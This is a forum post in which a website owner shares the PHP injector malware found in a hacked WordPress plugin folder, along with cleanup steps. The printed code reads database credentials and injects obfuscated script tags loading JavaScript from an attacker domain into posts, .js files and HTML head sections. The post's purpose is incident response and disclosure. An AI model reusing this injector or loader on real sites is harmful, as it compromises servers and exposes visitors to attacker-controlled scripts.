Hi Everyone, I script that caused all this has been added below. I have commented few bits in the code so it doesn’t affect anything.
This came from wp-file-manager plugin folder. The first step would be to remove this folder from plugins direction.
<?php echo "ssqqss>>>";
error_reporting(E_ALL);
ini_set('display_errors', 1);
search_file_js($_SERVER['DOCUMENT_ROOT'] . "/../../../../../../../../", ".js");
die();
function get_var_reg($pat, $text)
{
if ($c = preg_match_all("/" . $pat . "/is", $text, $matches)) {
return $matches[1][0];
}
return "";
}
function search_file_ms($dir, $file_to_search)
{
$search_array = array();
$files = scandir($dir);
if ($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_ms($dir, $file_to_search);
return;
}
if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {
@search_file_ms($dir, $file_to_search);
return;
}
}
foreach ($files as $key => $value) {
$path = realpath($dir . DIRECTORY_SEPARATOR . $value);
if (!is_dir($path)) {
if (strpos($value, $file_to_search) !== false) {
show_sitenames($path);
}
} else if ($value != "." && $value != "..") {
@search_file_ms($path, $file_to_search);
}
}
}
function show_sitenames($file)
{
$content = @file_get_contents($file);
if (strpos($content, "DB_NAME") !== false) {
$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]", $content);
$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]", $content);
$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]", $content);
$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]", $content);
// Create connection
$conn = new mysqli($host, $user, $pass);
// Check connection
if ($conn->connect_error) {
} else {
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE <code>TABLE_NAME</code> LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"] . "." . $row["TABLE_NAME"] . " LIMIT 1 ";
$result2 = $conn->query($q2);
if ($result2->num_rows > 0) {
while ($row2 = $result2->fetch_assoc()) {
$val = $row2['post_content'];
if (strpos($val, "scripts.lowerbeforwarden.ml") === true) {
var_dump($val); exit;
if (strpos($val, "scripts.lowerbeforwarden.ml") === false) {
$q3 = "UPDATE " . $row["TABLE_SCHEMA"] . "." . $row["TABLE_NAME"] . " set post_content = CONCAT(post_content,\"<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%scripts.lowerbeforwarden.ml%'";
$conn->query($q3);
echo "sql:" . $row["TABLE_SCHEMA"] . "." . $row["TABLE_NAME"];
} else {
}
}
}
} else {
}
}
} else {
}
$conn->close();
}
}
}
function search_file($dir, $file_to_search)
{
$files = @scandir($dir);
if ($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
//@search_file($dir, $file_to_search);
return;
}
if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {
//@search_file($dir, $file_to_search);
return;
}
}
foreach ($files as $key => $value) {
$path = realpath($dir . DIRECTORY_SEPARATOR . $value);
if (!is_dir($path)) {
if (strpos($value, $file_to_search) !== false && (strpos($value, ".ph") !== false || strpos($value, ".htm")) !== false) {
//make_it($path);
}
} else if ($value != "." && $value != "..") {
//search_file($path, $file_to_search);
}
}
}
function search_file_index($dir, $file_to_search)
{
$files = @scandir($dir);
if ($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
//search_file_index($dir, $file_to_search);
return;
}
if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {
//search_file_index($dir, $file_to_search);
return;
}
}
foreach ($files as $key => $value) {
$path = realpath($dir . DIRECTORY_SEPARATOR . $value);
if (!is_dir($path)) {
if (strpos($value, $file_to_search) !== false && (strpos($value, ".ph") !== false || strpos($value, ".htm")) !== false) {
//make_it_index($path);
}
} else if ($value != "." && $value != "..") {
//search_file_index($path, $file_to_search);
}
}
}
function search_file_js($dir, $file_to_search)
{
$files = @scandir($dir);
if ($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
//@search_file_js($dir, $file_to_search);
return;
}
if ($dir == $_SERVER['DOCUMENT_ROOT'] . "/") {
//@search_file_js($dir, $file_to_search);
return;
}
}
foreach ($files as $key => $value) {
$path = realpath($dir . DIRECTORY_SEPARATOR . $value);
if (!is_dir($path)) {
if (strpos($value, $file_to_search) !== false && (strpos($value, ".js") !== false)) {
//make_it_js($path);
}
} else if ($value != "." && $value != "..") {
//search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f)
{
$g = file_get_contents($f);
if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false) {
} else {
$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2 . $g;
@system('chmod 777 ' . $f);
@file_put_contents($f, $g);
echo "js:" . $f . "\r\n";
}
}
function make_it_index($f)
{
if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false || strpos($g, 'scripts.lowerbeforwarden.ml') !== false) {
} else {
$l2 = "<script type='text/javascript' src='https://temp.lowerbeforwarden.ml/temp.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2 . $g;
@system('chmod 777 ' . $f);
@file_put_contents($f, $g);
echo "in:" . $f . "\r\n";
}
}
function make_it($f)
{
$g = file_get_contents($f);
if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false) {
} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>", "<head>" . $l2, $g);
@system('chmod 777 ' . $f);
@file_put_contents($f, $b);
echo "hh:" . $f . "\r\n";
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>", $l2 . "</head>", $g);
@system('chmod 777 ' . $f);
@file_put_contents($f, $b);
echo "hh:" . $f . "\r\n";
}
}
}
I was trying to reserve engineer the hack.
The code attacks js file and index file. It also attacks any file that has <head> on it.
The first step would be to remove occurance of all these scripts. I used VSCode to remove them by searching for:
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
and
<script type='text/javascript' src='https://temp.lowerbeforwarden.ml/temp.js?n=nb5'></script>
You can quickly remove these by running find and replace.
After that, run this script on your wp sql database.
UPDATE wp_posts
SET
post_content = REPLACE(post_content,
"<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>",
'')
WHERE
post_content LIKE '%lowerbeforwarden%';
If you have w3 cache or any other cache plugin. Remove the cache directory.
It had infected around 12 plus sites on my server including any other PHP projects that were on the server.
Hope it helps.
